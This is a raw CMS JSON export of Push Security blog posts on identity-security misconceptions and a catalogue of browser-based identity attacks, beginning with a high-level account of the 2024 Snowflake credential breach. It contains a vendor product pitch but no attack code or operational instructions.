",{"data":182471,"content":182472,"nodeType":972},{},[],{"data":182474,"content":182475,"nodeType":981},{},[182476],{"data":182477,"marks":182478,"value":182479,"nodeType":865},{},[],"Reason 4: “We’ve got anti-phishing controls already”",{"data":182481,"content":182482,"nodeType":866},{},[182483],{"data":182484,"marks":182485,"value":182486,"nodeType":865},{},[],"Identity attacks have evolved significantly in recent years, as have the environments being targeted by attackers with the shift to cloud services and decentralized business IT. Unfortunately, traditional anti-phishing controls weren’t designed for this reality. ",{"data":182488,"content":182489,"nodeType":1616},{},[182490,182509],{"data":182491,"content":182492,"nodeType":1570},{},[182493],{"data":182494,"content":182495,"nodeType":866},{},[182496,182500,182505],{"data":182497,"marks":182498,"value":160800,"nodeType":865},{},[182499],{"type":926},{"data":182501,"marks":182502,"value":182504,"nodeType":865},{},[182503],{"type":926},"ttacks used to be focused on a single VPN/webmail endpoint ",{"data":182506,"marks":182507,"value":182508,"nodeType":865},{},[],"that was naturally easier to protect than 100+ SaaS apps (especially if the security team isn’t even aware of them). Attackers now have 1000s of sprawled identities to target per enterprise, increasing the chance that weak or reused passwords will be found. ",{"data":182510,"content":182511,"nodeType":1570},{},[182512],{"data":182513,"content":182514,"nodeType":866},{},[182515,182520],{"data":182516,"marks":182517,"value":182519,"nodeType":865},{},[182518],{"type":926},"Likewise, security teams only needed to care about a small set of credentials ",{"data":182521,"marks":182522,"value":182523,"nodeType":865},{},[],"relating to user directory accounts and VPN/remote access tooling used to tunnel into the corporate network. Now, business functions and data are dispersed across cloud apps rather than being neatly contained in on-prem apps and databases.",{"data":182525,"content":182526,"nodeType":866},{},[182527],{"data":182528,"marks":182529,"value":182531,"nodeType":865},{},[182530],{"type":926},"Now, attackers have more platforms on which to phish your users, more credentials to choose from, and more apps to spray them across, while security teams have a much larger surface to defend.",{"data":182533,"content":182534,"nodeType":1317},{},[182535],{"data":182536,"marks":182537,"value":182538,"nodeType":865},{},[],"“Our email and content filtering controls stop phishing attacks”",{"data":182540,"content":182541,"nodeType":866},{},[182542],{"data":182543,"marks":182544,"value":182545,"nodeType":865},{},[],"Existing phishing prevention solutions have tried to solve the problem by protecting the inbox, a common (but not the only) attack vector, or by blocking lists of known-bad domains. ",{"data":182547,"content":182548,"nodeType":866},{},[182549],{"data":182550,"marks":182551,"value":182552,"nodeType":865},{},[],"But, these approaches have major shortcomings:",{"data":182554,"content":182555,"nodeType":1616},{},[182556,182596,182611],{"data":182557,"content":182558,"nodeType":1570},{},[182559],{"data":182560,"content":182561,"nodeType":866},{},[182562,182567,182571,182580,182583,182592],{"data":182563,"marks":182564,"value":182566,"nodeType":865},{},[182565],{"type":926},"Incomplete coverage: ",{"data":182568,"marks":182569,"value":182570,"nodeType":865},{},[],"Email-based phishing prevention tools can catch general spray-and-pray email phishing campaigns, but it only takes a small amount of tailoring to fly under their radar. The use of LLM tools to tailor phishing emails for their intended victims already makes this possible at scale. Email-based tools also fail to cover phishing attacks beyond the inbox, such as ",{"data":182572,"content":182574,"nodeType":889},{"uri":182573},"https://pushsecurity.com/blog/slack-phishing-for-initial-access/",[182575],{"data":182576,"marks":182577,"value":182579,"nodeType":865},{},[182578],{"type":943},"Slack",{"data":182581,"marks":182582,"value":4988,"nodeType":865},{},[],{"data":182584,"content":182586,"nodeType":889},{"uri":182585},"https://pushsecurity.com/blog/phishing-microsoft-teams-for-initial-access/",[182587],{"data":182588,"marks":182589,"value":182591,"nodeType":865},{},[182590],{"type":943},"Teams",{"data":182593,"marks":182594,"value":182595,"nodeType":865},{},[]," phishing.",{"data":182597,"content":182598,"nodeType":1570},{},[182599],{"data":182600,"content":182601,"nodeType":866},{},[182602,182607],{"data":182603,"marks":182604,"value":182606,"nodeType":865},{},[182605],{"type":926},"Expired intel: ",{"data":182608,"marks":182609,"value":182610,"nodeType":865},{},[],"Tools that rely on known-bad domains always have an incomplete picture because a domain must be reported as malicious in order to get added to a blocklist. Meanwhile, attackers can spin up new sites or host phishing pages on existing sites by exploiting vulnerabilities in them, bypassing rules around preventing visits to newly registered domains. It’s like trying to hit a moving target.",{"data":182612,"content":182613,"nodeType":1570},{},[182614],{"data":182615,"content":182616,"nodeType":866},{},[182617,182622,182626,182635],{"data":182618,"marks":182619,"value":182621,"nodeType":865},{},[182620],{"type":926},"Web-based obfuscation: ",{"data":182623,"marks":182624,"value":182625,"nodeType":865},{},[],"Attacker tools and malicious implants running on webpages are constantly evolving to evade fingerprinting, and attackers are using techniques like ",{"data":182627,"content":182629,"nodeType":889},{"uri":182628},"https://www.cyfirma.com/research/html-smuggling-a-stealthier-approach-to-deliver-malware/",[182630],{"data":182631,"marks":182632,"value":182634,"nodeType":865},{},[182633],{"type":943},"HTML smuggling",{"data":182636,"marks":182637,"value":182638,"nodeType":865},{},[]," to get around web-based controls put in place by developers. ",{"data":182640,"content":182641,"nodeType":866},{},[182642,182646,182651,182655,182660],{"data":182643,"marks":182644,"value":182645,"nodeType":865},{},[],"Even if these controls are sometimes successful, attackers have reliably demonstrated ways to get around them, ",{"data":182647,"marks":182648,"value":182650,"nodeType":865},{},[182649],{"type":926},"it really is a cat-and-mouse game at this point",{"data":182652,"marks":182653,"value":182654,"nodeType":865},{},[],". There usually needs to be a compromise before the attacker's infrastructure or tooling can be tagged and blocked, but ",{"data":182656,"marks":182657,"value":182659,"nodeType":865},{},[182658],{"type":926},"they evolve so rapidly that defenders are always one step behind",{"data":182661,"marks":182662,"value":14251,"nodeType":865},{},[],{"data":182664,"content":182665,"nodeType":1317},{},[182666],{"data":182667,"marks":182668,"value":182669,"nodeType":865},{},[],"“All our employees use a password manager”",{"data":182671,"content":182672,"nodeType":866},{},[182673],{"data":182674,"marks":182675,"value":182676,"nodeType":865},{},[],"Password managers are increasingly necessary due to the large number of credentials that users now have to juggle. Since the majority of apps don’t support SAML SSO, the need for separate credentials per app isn’t going away any time soon. ",{"data":182678,"content":182679,"nodeType":866},{},[182680,182684],{"data":182681,"marks":182682,"value":182683,"nodeType":865},{},[],"We often find 2 or more password managers in use per organization (not exactly optimal), but despite increased password manager adoption we see consistently high levels of password reuse, ",{"data":182685,"marks":182686,"value":182688,"nodeType":865},{},[182687],{"type":926},"with 1 in 3 users reusing passwords – including their sensitive IdP credentials. ",{"data":182690,"content":182691,"nodeType":866},{},[182692,182696,182704],{"data":182693,"marks":182694,"value":182695,"nodeType":865},{},[],"High levels of password reuse shows us that password managers don’t automatically result in secure employee behaviors, while widespread credential reuse significantly increases exposure to ",{"data":182697,"content":182698,"nodeType":889},{"uri":180328},[182699],{"data":182700,"marks":182701,"value":182703,"nodeType":865},{},[182702],{"type":943},"credential stuffing attacks",{"data":182705,"marks":182706,"value":182707,"nodeType":865},{},[]," where attackers spray known username and password combinations across a range of app login pages.  ",{"data":182709,"content":182710,"nodeType":866},{},[182711,182716],{"data":182712,"marks":182713,"value":182715,"nodeType":865},{},[182714],{"type":926},"Generally, businesses have very limited visibility into employee password data",{"data":182717,"marks":182718,"value":182719,"nodeType":865},{},[]," to be able to enforce good practice or accurately respond to data breaches involving credential dumps, even if employees are using a password manager (or several, as the case may be).  ",{"data":182721,"content":182722,"nodeType":972},{},[],{"data":182724,"content":182725,"nodeType":981},{},[182726],{"data":182727,"marks":182728,"value":182729,"nodeType":865},{},[],"Reason 5: “We’ve got all the security data we need”",{"data":182731,"content":182732,"nodeType":866},{},[182733],{"data":182734,"marks":182735,"value":182736,"nodeType":865},{},[],"Organizations looking to protect themselves from modern identity attacks suffer from a pretty substantial telemetry gap. ",{"data":182738,"content":182739,"nodeType":1616},{},[182740,182755,182770,182785],{"data":182741,"content":182742,"nodeType":1570},{},[182743],{"data":182744,"content":182745,"nodeType":866},{},[182746,182751],{"data":182747,"marks":182748,"value":182750,"nodeType":865},{},[182749],{"type":926},"Endpoint logs ",{"data":182752,"marks":182753,"value":182754,"nodeType":865},{},[],"won’t show anything meaningful because most identity attacks don’t need to target the endpoint – no malware is deployed, everything happens in the browser, over the internet. ",{"data":182756,"content":182757,"nodeType":1570},{},[182758],{"data":182759,"content":182760,"nodeType":866},{},[182761,182766],{"data":182762,"marks":182763,"value":182765,"nodeType":865},{},[182764],{"type":926},"Application logs",{"data":182767,"marks":182768,"value":182769,"nodeType":865},{},[]," are limited in availability, scope, and ease of ingestion, with most app vendors providing substandard logging, and requiring complex custom integrations to get what little data is available. ",{"data":182771,"content":182772,"nodeType":1570},{},[182773],{"data":182774,"content":182775,"nodeType":866},{},[182776,182781],{"data":182777,"marks":182778,"value":182780,"nodeType":865},{},[182779],{"type":926},"Network logs",{"data":182782,"marks":182783,"value":182784,"nodeType":865},{},[]," (such as via web proxy) struggle to gather and piece together identity data points at-scale, across different apps, due to the sheer volume and broken format of the data post-TLS-termination. ",{"data":182786,"content":182787,"nodeType":1570},{},[182788],{"data":182789,"content":182790,"nodeType":866},{},[182791,182796],{"data":182792,"marks":182793,"value":182795,"nodeType":865},{},[182794],{"type":926},"Identity provider logs",{"data":182797,"marks":182798,"value":182799,"nodeType":865},{},[]," naturally only cover SSO integrated apps (and therefore don’t cover ⅔ of your business apps) and look exclusively at authentication, and so are blind to client side attacks like phishing. ",{"data":182801,"content":182802,"nodeType":866},{},[182803,182807,182815],{"data":182804,"marks":182805,"value":182806,"nodeType":865},{},[],"Unless you’re ingesting data from a browser-based solution like Push, it’s unlikely you have a full monitoring visibility of your identity attack surface. ",{"data":182808,"content":182809,"nodeType":889},{"uri":110403},[182810],{"data":182811,"marks":182812,"value":182814,"nodeType":865},{},[182813],{"type":943},"Read more on the value of browser telemetry here. ",{"data":182816,"marks":182817,"value":21,"nodeType":865},{},[],{"data":182819,"content":182823,"nodeType":912},{"target":182820},{"sys":182821},{"id":182822,"type":909,"linkType":910},"5jPCGPO1tnIkoI7MKW4oUi",[],{"data":182825,"content":182826,"nodeType":972},{},[],{"data":182828,"content":182829,"nodeType":981},{},[182830],{"data":182831,"marks":182832,"value":182833,"nodeType":865},{},[],"Maybe there’s a reason for Push to exist after all!",{"data":182835,"content":182836,"nodeType":866},{},[182837,182842,182846,182851,182854,182859],{"data":182838,"marks":182839,"value":182841,"nodeType":865},{},[182840],{"type":926},"The key takeaway here is that there are no quick fixes or silver bullets. ",{"data":182843,"marks":182844,"value":182845,"nodeType":865},{},[],"Things like SSO, MFA, and password managers are all part of the solution, ",{"data":182847,"marks":182848,"value":182850,"nodeType":865},{},[182849],{"type":926},"but",{"data":182852,"marks":182853,"value":2688,"nodeType":865},{},[],{"data":182855,"marks":182856,"value":182858,"nodeType":865},{},[182857],{"type":926},"aren’t set-and-forget controls",{"data":182860,"marks":182861,"value":182862,"nodeType":865},{},[],". They need to be continually monitored and maintained to ensure they remain effective.",{"data":182864,"content":182865,"nodeType":866},{},[182866],{"data":182867,"marks":182868,"value":182869,"nodeType":865},{},[],"Push stops identity attacks by continually finding and fixing identity vulnerabilities, providing deep context to manage the identity attack surface without looking through blinkers at the IdP or individual apps. ",{"data":182871,"content":182872,"nodeType":866},{},[182873],{"data":182874,"marks":182875,"value":182876,"nodeType":865},{},[],"Push helps businesses to get the most out of their identity controls (and bridge the gaps they leave) by:",{"data":182878,"content":182879,"nodeType":1616},{},[182880,182895,182910,182925,182940],{"data":182881,"content":182882,"nodeType":1570},{},[182883],{"data":182884,"content":182885,"nodeType":866},{},[182886,182891],{"data":182887,"marks":182888,"value":182890,"nodeType":865},{},[182889],{"type":926},"Locating all business apps",{"data":182892,"marks":182893,"value":182894,"nodeType":865},{},[],", not just those plugged into your IdP, so they can be put behind SSO (where possible) or at least securely managed and configured.",{"data":182896,"content":182897,"nodeType":1570},{},[182898],{"data":182899,"content":182900,"nodeType":866},{},[182901,182906],{"data":182902,"marks":182903,"value":182905,"nodeType":865},{},[182904],{"type":926},"Identifying all workforce identities, associated login types, and MFA methods",{"data":182907,"marks":182908,"value":182909,"nodeType":865},{},[]," to more clearly pinpoint gaps, harden identities, and remediate vulnerabilities like ghost logins.",{"data":182911,"content":182912,"nodeType":1570},{},[182913],{"data":182914,"content":182915,"nodeType":866},{},[182916,182921],{"data":182917,"marks":182918,"value":182920,"nodeType":865},{},[182919],{"type":926},"Stopping account takeover attempts",{"data":182922,"marks":182923,"value":182924,"nodeType":865},{},[]," by detecting and blocking AitM and BitM phishing toolkits running on webpages, blocking sensitive credential reuse to prevent credential phishing, and identifying stolen sessions running in attacker browsers. ",{"data":182926,"content":182927,"nodeType":1570},{},[182928],{"data":182929,"content":182930,"nodeType":866},{},[182931,182936],{"data":182932,"marks":182933,"value":182935,"nodeType":865},{},[182934],{"type":926},"Preventing password-based attacks",{"data":182937,"marks":182938,"value":182939,"nodeType":865},{},[]," by detecting the use of weak, reused, and breached passwords across the app estate.  ",{"data":182941,"content":182942,"nodeType":1570},{},[182943],{"data":182944,"content":182945,"nodeType":866},{},[182946,182951],{"data":182947,"marks":182948,"value":182950,"nodeType":865},{},[182949],{"type":926},"Providing unique telemetry in the browser",{"data":182952,"marks":182953,"value":182954,"nodeType":865},{},[]," to build both proactive and reactive security operations workflows, or add missing context to other data sources, such as IdP, application, or endpoint logs.",{"data":182956,"content":182959,"nodeType":912},{"target":182957},{"sys":182958},{"id":158780,"type":909,"linkType":910},[],{"data":182961,"content":182962,"nodeType":866},{},[182963],{"data":182964,"marks":182965,"value":21,"nodeType":865},{},[],{"entries":182967},{"hyperlink":182968,"inline":182969,"block":182970},[],[],[182971,182978,182986],{"sys":182972,"__typename":1390,"title":182973,"caption":182974,"layoutMode":59,"file":182975},{"id":181633},"Nobody has any identity problems, right?","Push Security’s cheekiest advisor, Geoff Belknap.",{"url":182976,"width":182977,"height":182977},"https://images.ctfassets.net/y1cdw1ablpvd/28qcLq225o8kusjQQQUnCC/98b10fe4f9e6916eb7657f60ab869062/Geoff_Ad__1_.png",1210,{"sys":182979,"__typename":1390,"title":182980,"caption":182981,"layoutMode":59,"file":182982},{"id":182822},"Telemetry comparison table","The browser presents a significant advantage over other sources of identity attack data.",{"url":182983,"width":182984,"height":182985},"https://images.ctfassets.net/y1cdw1ablpvd/4feAEpfP6tetyTjcLIopwG/5bec8c8c10e6e328ebe258bc59bc3cb6/Frame_627570__7_.png",2444,894,{"sys":182987,"__typename":1414,"type":160850,"ctaText":182988,"buttonLabel":182989,"buttonColour":1418,"buttonUrl":59},{"id":158780},"Book a demo to see how Push stops account takeover","Book demo",{"items":182991},[],{},"Tackling common browser & identity security misconceptions","2024-07-11T00:00:00.000Z",{"items":182996},[182997,185953,186642],{"__typename":1429,"sys":182998,"content":183000,"title":185939,"synopsis":185940,"hashTags":59,"publishedDate":185941,"slug":185942,"tagsCollection":185943,"authorsCollection":185949},{"id":182999},"6XIts2UEnrsJDki8gKDXyI",{"json":183001},{"data":183002,"content":183003,"nodeType":1382},{},[183004,183011,183043,183050,183056,183063,183083,183106,183113,183120,183144,183160,183167,183179,183186,183189,183196,183203,183219,183231,183242,183272,183275,183282,183300,183307,183315,183407,183414,183550,183557,183675,183682,183689,183860,183867,183874,183957,183960,183967,183974,183981,184044,184051,184084,184091,184134,184140,184146,184379,184385,184393,184400,184403,184410,184417,184424,184477,184484,184527,184534,184567,184573,184579,184745,184751,184759,184766,184774,184781,184789,184796,184799,184806,184813,184820,184883,184890,184923,184930,184963,184969,184975,185081,185084,185091,185098,185105,185168,185175,185208,185215,185248,185254,185260,185434,185437,185444,185451,185458,185531,185538,185571,185578,185611,185617,185623,185853,185856,185863,185870,185877,185884,185887,185894,185901,185908,185911,185918,185925,185932],{"data":183005,"content":183006,"nodeType":981},{},[183007],{"data":183008,"marks":183009,"value":183010,"nodeType":865},{},[],"Browser-based Identity attacks on the rise?",{"data":183012,"content":183013,"nodeType":866},{},[183014,183018,183027,183031,183040],{"data":183015,"marks":183016,"value":183017,"nodeType":865},{},[],"Identity has been recorded as the #1 cyber attack vector since forever. You don’t have to look particularly hard to find statistics to support this. In 2023, one source reports that ",{"data":183019,"content":183021,"nodeType":889},{"uri":183020},"https://www.csoonline.com/article/648894/identity-based-security-threats-are-growing-rapidly-report.html",[183022],{"data":183023,"marks":183024,"value":183026,"nodeType":865},{},[183025],{"type":943},"4/5 breaches involved identity and compromised credentials",{"data":183028,"marks":183029,"value":183030,"nodeType":865},{},[],", while another suggests that ",{"data":183032,"content":183034,"nodeType":889},{"uri":183033},"https://rakgarg.substack.com/p/identity-crisis-the-biggest-prize",[183035],{"data":183036,"marks":183037,"value":183039,"nodeType":865},{},[183038],{"type":943},"75% of breaches are caused by mismanaged identity, access, or privileges",{"data":183041,"marks":183042,"value":1615,"nodeType":865},{},[],{"data":183044,"content":183045,"nodeType":866},{},[183046],{"data":183047,"marks":183048,"value":183049,"nodeType":865},{},[],"Phishing, social engineering, credential stuffing, and business email compromise have morphed into a homogenous understanding of identity threats that are generally tackled through a combination of email security tooling, content access controls, and user awareness. ",{"data":183051,"content":183055,"nodeType":912},{"target":183052},{"sys":183053},{"id":183054,"type":909,"linkType":910},"5NRWvCl0xsoWcpgHbcQIkf",[],{"data":183057,"content":183058,"nodeType":866},{},[183059],{"data":183060,"marks":183061,"value":183062,"nodeType":865},{},[],"The fact that such attacks have been reported as the top security threat for so long probably means that people pay less attention to identity threats. Ransomware grabs the headlines, and rightly so in many cases, but phishing feels like a “known known” that we have a plan for (even if the plan often fails). ",{"data":183064,"content":183065,"nodeType":866},{},[183066,183070,183079],{"data":183067,"marks":183068,"value":183069,"nodeType":865},{},[],"In fact, there’s a problem with messaging generally. The ",{"data":183071,"content":183073,"nodeType":889},{"uri":183072},"https://www.verizon.com/business/resources/T78/reports/data-breach-investigation-report_2015.pdf",[183074],{"data":183075,"marks":183076,"value":183078,"nodeType":865},{},[183077],{"type":943},"2015 Verizon DBIR",{"data":183080,"marks":183081,"value":183082,"nodeType":865},{},[]," contains plenty of stats that still ring largely true today. For example:",{"data":183084,"content":183085,"nodeType":1616},{},[183086,183096],{"data":183087,"content":183088,"nodeType":1570},{},[183089],{"data":183090,"content":183091,"nodeType":866},{},[183092],{"data":183093,"marks":183094,"value":183095,"nodeType":865},{},[],"In the 2013 DBIR, phishing was associated with over 95% of incidents attributed to state sponsored actors, and for two years running, more than two-thirds of incidents have featured phishing",{"data":183097,"content":183098,"nodeType":1570},{},[183099],{"data":183100,"content":183101,"nodeType":866},{},[183102],{"data":183103,"marks":183104,"value":183105,"nodeType":865},{},[],"In 60% of cases, attackers are able to compromise an organization within minutes",{"data":183107,"content":183108,"nodeType":866},{},[183109],{"data":183110,"marks":183111,"value":183112,"nodeType":865},{},[],"Remove the dates and a lot of the report still stands up. ",{"data":183114,"content":183115,"nodeType":1317},{},[183116],{"data":183117,"marks":183118,"value":183119,"nodeType":865},{},[],"Bad then, worse now",{"data":183121,"content":183122,"nodeType":866},{},[183123,183127,183132,183136,183141],{"data":183124,"marks":183125,"value":183126,"nodeType":865},{},[],"But browser-based identity attacks ",{"data":183128,"marks":183129,"value":183131,"nodeType":865},{},[183130],{"type":926},"are",{"data":183133,"marks":183134,"value":183135,"nodeType":865},{},[]," worse than they used to be. Yes, credential stuffing, phishing, and SIM swapping may not be the most sophisticated attacks, but they remain as effective as ever. ",{"data":183137,"marks":183138,"value":183140,"nodeType":865},{},[183139],{"type":898},"As the saying goes, if it ain’t broke — don’t fix it.",{"data":183142,"marks":183143,"value":5959,"nodeType":865},{},[],{"data":183145,"content":183146,"nodeType":866},{},[183147,183151,183156],{"data":183148,"marks":183149,"value":183150,"nodeType":865},{},[],"Recent attacks have moved toward a broader targeting of the ",{"data":183152,"marks":183153,"value":183155,"nodeType":865},{},[183154],{"type":926},"identity infrastructure",{"data":183157,"marks":183158,"value":183159,"nodeType":865},{},[],". While phishing and social engineering was once primarily a delivery mechanism for malicious payloads to be executed on endpoint, it is now used to harvest credentials and secrets for identity-based attacks against cloud apps and services. ",{"data":183161,"content":183162,"nodeType":866},{},[183163],{"data":183164,"marks":183165,"value":183166,"nodeType":865},{},[],"And because businesses have migrated to more cloud-based services and infrastructure, the compromise of an identity now has different consequences.",{"data":183168,"content":183169,"nodeType":866},{},[183170,183174],{"data":183171,"marks":183172,"value":183173,"nodeType":865},{},[],"The data and functionality that attackers seek has moved off endpoints and internal networks and onto cloud systems and SaaS applications, which organizations are using in large numbers (tens to hundreds). The modern way of working means that applications are more often than not directly exposed to the internet — and the only thing needed to access these apps are identities. ",{"data":183175,"marks":183176,"value":183178,"nodeType":865},{},[183177],{"type":926},"Naturally, it's much harder to stop credential stuffing attacks against 100 SaaS apps than the single centralized external VPN/webmail endpoint of yesteryear. ",{"data":183180,"content":183181,"nodeType":866},{},[183182],{"data":183183,"marks":183184,"value":183185,"nodeType":865},{},[],"It’s clear that stats alone don’t adequately capture the identity threat. So we have to look beyond the numbers to find out why. ",{"data":183187,"content":183188,"nodeType":972},{},[],{"data":183190,"content":183191,"nodeType":981},{},[183192],{"data":183193,"marks":183194,"value":183195,"nodeType":865},{},[],"Using this resource",{"data":183197,"content":183198,"nodeType":866},{},[183199],{"data":183200,"marks":183201,"value":183202,"nodeType":865},{},[],"To cut through some of the noise, we’ve compiled this list of reported attacks and explored what they mean for the identity threat landscape. ",{"data":183204,"content":183205,"nodeType":866},{},[183206,183210,183215],{"data":183207,"marks":183208,"value":183209,"nodeType":865},{},[],"This is not intended to be an exhaustive list of all attacks involving the compromise of digital identities (the list would be endless!). Nor is it something you should read all in one go (unless you ",{"data":183211,"marks":183212,"value":183214,"nodeType":865},{},[183213],{"type":898},"really",{"data":183216,"marks":183217,"value":183218,"nodeType":865},{},[]," want to, we won’t stop you). We want it to be a resource that you can refer back to, that we will continue to update as new attacks are recorded. ",{"data":183220,"content":183221,"nodeType":866},{},[183222,183226],{"data":183223,"marks":183224,"value":183225,"nodeType":865},{},[],"In this context we define identity attacks as ",{"data":183227,"marks":183228,"value":183230,"nodeType":865},{},[183229],{"type":926},"attacks targeting cloud identities and their associated identity management systems, protocols, applications, and infrastructure. ",{"data":183232,"content":183233,"nodeType":866},{},[183234,183238],{"data":183235,"marks":183236,"value":183237,"nodeType":865},{},[],"The attacks recorded below are high profile examples of browser-based identity attacks",{"data":183239,"marks":183240,"value":183241,"nodeType":865},{},[]," that demonstrate how threat actors are leveraging the cloud identity plane to evade established cyber defenses and traverse new attack paths to achieve their goals. We’ve focused on attacks targeting identity infrastructure itself that are notable for their bypassing of traditional environments and established controls (e.g. Networkless or SaaS-to-SaaS attack paths). ",{"data":183243,"content":183244,"nodeType":866},{},[183245,183249,183256,183260,183269],{"data":183246,"marks":183247,"value":183248,"nodeType":865},{},[],"As with all publicly disclosed breaches, the level of detail and transparency we see varies. Where possible, we've mapped the threat actor Tactics, Techniques and Procedures to our ",{"data":183250,"content":183251,"nodeType":889},{"uri":8393},[183252],{"data":183253,"marks":183254,"value":8396,"nodeType":865},{},[183255],{"type":943},{"data":183257,"marks":183258,"value":183259,"nodeType":865},{},[]," (previously the SaaS Attack Matrix). To learn more about SaaS attack techniques ",{"data":183261,"content":183263,"nodeType":889},{"uri":183262},"https://pushsecurity.com/blog/saas-attack-techniques/#id-problems-with-observing-saas-attacks",[183264],{"data":183265,"marks":183266,"value":183268,"nodeType":865},{},[183267],{"type":943},"read the blog",{"data":183270,"marks":183271,"value":6719,"nodeType":865},{},[],{"data":183273,"content":183274,"nodeType":972},{},[],{"data":183276,"content":183277,"nodeType":981},{},[183278],{"data":183279,"marks":183280,"value":183281,"nodeType":865},{},[],"Snowflake – June 2024",{"data":183283,"content":183284,"nodeType":866},{},[183285,183289,183297],{"data":183286,"marks":183287,"value":183288,"nodeType":865},{},[],"The threat group known as ShinyHunters (also tracked as UNC5537) has claimed responsibility for breaching multiple organizations using Snowflake, a cloud-based data warehousing and analytics platform. The breach stems from the historical compromise of credentials used to access customer-specific Snowflake tenants, via infostealer infections. These credentials were used as part of a targeted campaign against Snowflake customers, which was exacerbated by the widespread absence of MFA due to the lack of MFA enforcement by default. At the time of writing, approximately 165 customers have been impacted globally ",{"data":183290,"content":183291,"nodeType":889},{"uri":15841},[183292],{"data":183293,"marks":183294,"value":183296,"nodeType":865},{},[183295],{"type":943},"according to a report by Mandiant",{"data":183298,"marks":183299,"value":14251,"nodeType":865},{},[],{"data":183301,"content":183302,"nodeType":1317},{},[183303],{"data":183304,"marks":183305,"value":183306,"nodeType":865},{},[],"How did Snowflake get breached?",{"data":183308,"content":183309,"nodeType":866},{},[183310],{"data":183311,"marks":183312,"value":183314,"nodeType":865},{},[183313],{"type":898},"It’s worth noting that customers/users of Snowflake were breached via their Snowflake tenants, and no central breach of Snowflake's own systems occurred.",{"data":183316,"content":183317,"nodeType":1616},{},[183318,183328,183350,183360,183369,183378,183387,183397],{"data":183319,"content":183320,"nodeType":1570},{},[183321],{"data":183322,"content":183323,"nodeType":866},{},[183324],{"data":183325,"marks":183326,"value":183327,"nodeType":865},{},[],"Snowflake users were infected with infostealer malware that harvested credentials from user devices over an extended period. The threat actor used Snowflake customer credentials that were previously exposed via several infostealer malware variants, including; VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA and METASTEALER.",{"data":183329,"content":183330,"nodeType":1570},{},[183331],{"data":183332,"content":183333,"nodeType":866},{},[183334,183338,183346],{"data":183335,"marks":183336,"value":183337,"nodeType":865},{},[],"Credentials appeared on criminal marketplaces e.g. dark web forums and ",{"data":183339,"content":183340,"nodeType":889},{"uri":162474},[183341],{"data":183342,"marks":183343,"value":183345,"nodeType":865},{},[183344],{"type":943},"Telegram channels",{"data":183347,"marks":183348,"value":183349,"nodeType":865},{},[]," as combolists (username, password, and login portal combinations). ",{"data":183351,"content":183352,"nodeType":1570},{},[183353],{"data":183354,"content":183355,"nodeType":866},{},[183356],{"data":183357,"marks":183358,"value":183359,"nodeType":865},{},[],"Criminal groups (either ShinyHunters or another organization) saw the potential in targeting Snowflake users, based on the availability of credentials, number of customer organizations, and the value of the data that can be accessed in Snowflake. ",{"data":183361,"content":183362,"nodeType":1570},{},[183363],{"data":183364,"content":183365,"nodeType":866},{},[183366],{"data":183367,"marks":183368,"value":61882,"nodeType":865},{},[],{"data":183370,"content":183371,"nodeType":1570},{},[183372],{"data":183373,"content":183374,"nodeType":866},{},[183375],{"data":183376,"marks":183377,"value":61892,"nodeType":865},{},[],{"data":183379,"content":183380,"nodeType":1570},{},[183381],{"data":183382,"content":183383,"nodeType":866},{},[183384],{"data":183385,"marks":183386,"value":61902,"nodeType":865},{},[],{"data":183388,"content":183389,"nodeType":1570},{},[183390],{"data":183391,"content":183392,"nodeType":866},{},[183393],{"data":183394,"marks":183395,"value":183396,"nodeType":865},{},[],"ShinyHunters acquired massive quantities of Snowflake data based on the information that each customer stored in Snowflake or connected apps. The most sensitive data declared so far pertains to end-customers of each victim, for example PII, bank account and card information, etc.  ",{"data":183398,"content":183399,"nodeType":1570},{},[183400],{"data":183401,"content":183402,"nodeType":866},{},[183403],{"data":183404,"marks":183405,"value":183406,"nodeType":865},{},[],"ShinyHunters began attempts to extort Snowflake and end-customers using the data acquired. ",{"data":183408,"content":183409,"nodeType":1317},{},[183410],{"data":183411,"marks":183412,"value":183413,"nodeType":865},{},[],"What was the impact of the Snowflake breach?",{"data":183415,"content":183416,"nodeType":1616},{},[183417,183436,183465,183493,183512,183531],{"data":183418,"content":183419,"nodeType":1570},{},[183420],{"data":183421,"content":183422,"nodeType":866},{},[183423,183427,183432],{"data":183424,"marks":183425,"value":183426,"nodeType":865},{},[],"Approximately ",{"data":183428,"marks":183429,"value":183431,"nodeType":865},{},[183430],{"type":926},"165 victims were identified by Mandiant",{"data":183433,"marks":183434,"value":183435,"nodeType":865},{},[],". Organizations are gradually coming forward to declare the breach and release customer communications accordingly, but not all victims have been named.",{"data":183437,"content":183438,"nodeType":1570},{},[183439],{"data":183440,"content":183441,"nodeType":866},{},[183442,183446,183451,183455,183462],{"data":183443,"marks":183444,"value":183445,"nodeType":865},{},[],"Based on the figures being suggested so far, the impact upon end-customers is huge, with the data of ",{"data":183447,"marks":183448,"value":183450,"nodeType":865},{},[183449],{"type":926},"hundreds of millions of people exposed",{"data":183452,"marks":183453,"value":183454,"nodeType":865},{},[],", and has been touted by some news outlets as ‘",{"data":183456,"content":183457,"nodeType":889},{"uri":61637},[183458],{"data":183459,"marks":183460,"value":61643,"nodeType":865},{},[183461],{"type":943},{"data":183463,"marks":183464,"value":61647,"nodeType":865},{},[],{"data":183466,"content":183467,"nodeType":1570},{},[183468],{"data":183469,"content":183470,"nodeType":866},{},[183471,183475,183480,183484,183489],{"data":183472,"marks":183473,"value":183474,"nodeType":865},{},[],"The impact on the affected businesses is largely unknown at this stage. It’s clear that the victims will suffer ",{"data":183476,"marks":183477,"value":183479,"nodeType":865},{},[183478],{"type":926},"reputational damage",{"data":183481,"marks":183482,"value":183483,"nodeType":865},{},[]," based on the extent of their individual breaches, and possibly face other ",{"data":183485,"marks":183486,"value":183488,"nodeType":865},{},[183487],{"type":926},"penalties and sanctions",{"data":183490,"marks":183491,"value":183492,"nodeType":865},{},[]," if they are found to be at fault by their respective regulators and/or national information security authorities. ",{"data":183494,"content":183495,"nodeType":1570},{},[183496],{"data":183497,"content":183498,"nodeType":866},{},[183499,183503,183508],{"data":183500,"marks":183501,"value":183502,"nodeType":865},{},[],"The impact upon individuals will be significant, with high potential for further targeting in terms of ",{"data":183504,"marks":183505,"value":183507,"nodeType":865},{},[183506],{"type":926},"identity theft, blackmail, financial crime",{"data":183509,"marks":183510,"value":183511,"nodeType":865},{},[],", etc.  ",{"data":183513,"content":183514,"nodeType":1570},{},[183515],{"data":183516,"content":183517,"nodeType":866},{},[183518,183522,183527],{"data":183519,"marks":183520,"value":183521,"nodeType":865},{},[],"It is unclear what data has been exposed in addition to personal data affecting end-customers. If other sensitive commercial or business data pertaining to 